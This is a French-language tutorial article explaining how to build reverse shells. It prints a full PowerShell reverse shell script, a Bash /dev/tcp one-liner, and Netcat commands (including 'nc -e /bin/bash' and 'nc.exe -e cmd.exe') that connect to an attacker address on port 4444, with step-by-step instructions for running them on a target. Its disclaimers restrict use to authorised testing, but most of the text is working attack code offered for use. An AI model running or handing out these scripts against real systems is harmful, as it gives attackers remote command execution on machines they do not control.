Reverse Shell

Un reverse shell est un type de shell utilisé pour obtenir un accès à distance à une machine cible. Il est souvent utilisé à des fins de tests de sécurité pour démontrer des failles potentielles. Cet article vous montrera comment créer un reverse shell en PowerShell et Bash, ainsi que des exemples de commandes utilisant Netcat.

Attention : Utilisez ces informations de manière éthique et légale, uniquement dans le cadre de tests de sécurité autorisés.

Reverse Shell en PowerShell

Voici un exemple de script PowerShell pour créer un reverse shell :

# Adresse IP et port de l'attaquant
$attackerIP = "192.168.1.100"
$attackerPort = 4444

# Créer une connexion TCP à l'attaquant
$tcpClient = New-Object System.Net.Sockets.TcpClient($attackerIP, $attackerPort)
$networkStream = $tcpClient.GetStream()
$streamReader = New-Object System.IO.StreamReader($networkStream)
$streamWriter = New-Object System.IO.StreamWriter($networkStream)
$streamWriter.AutoFlush = $true

# Lire les commandes de l'attaquant et les exécuter
while ($true) {
    $command = $streamReader.ReadLine()
    if ($command -eq "exit") { break }
    $output = Invoke-Expression $command 2>&1
    $streamWriter.WriteLine($output)
}

# Fermer la connexion
$streamReader.Close()
$streamWriter.Close()
$networkStream.Close()
$tcpClient.Close()

Pour utiliser ce script :

  1. Modifiez les variables $attackerIP et $attackerPort avec l’adresse IP et le port de votre machine d’attaque.
  2. Exécutez le script sur la machine cible lorsque l’attaquant est en écoute sur le port 4444.

Reverse Shell en Bash

Voici un exemple de script Bash pour créer un reverse shell :

#!/bin/bash

# Adresse IP et port de l'attaquant
attackerIP="192.168.1.100"
attackerPort=4444

# Créer une connexion à l'attaquant
bash -i >& /dev/tcp/$attackerIP/$attackerPort 0>&1

Pour utiliser ce script :

  1. Modifiez les variables attackerIP et attackerPort avec l’adresse IP et le port de votre machine d’attaque.
  2. Exécutez le script sur la machine cible.

Utilisation de Netcat pour un Shell

Shell Simple avec Netcat

Sur la machine d’attaque, écoutez sur un port spécifique :

nc -lvp 4444

Sur la machine cible, envoyez un shell à l’attaquant :

/bin/bash | nc 192.168.1.100 4444
Reverse Shell avec Netcat

Sur la machine d’attaque, écoutez sur un port spécifique :

nc -lvp 4444

Sur la machine cible, créez un reverse shell :

nc -e /bin/bash 192.168.1.100 4444

Pour Windows avec Netcat, utilisez une commande PowerShell ou cmd pour le reverse shell. Voici un exemple avec cmd :

nc.exe -e cmd.exe 192.168.1.100 4444

Disclaimer

L’utilisation des reverse shells et de Netcat, comme illustrée dans cet article, doit être strictement limitée aux environnements contrôlés et autorisés. Ces scripts peuvent causer des dommages graves s’ils sont utilisés de manière malveillante. N’utilisez ces informations que pour des tests de sécurité légitimes et autorisés. L’auteur de cet article et le fournisseur de cette plateforme déclinent toute responsabilité en cas d’utilisation abusive de ces informations. Soyez éthique et respectez les lois en vigueur.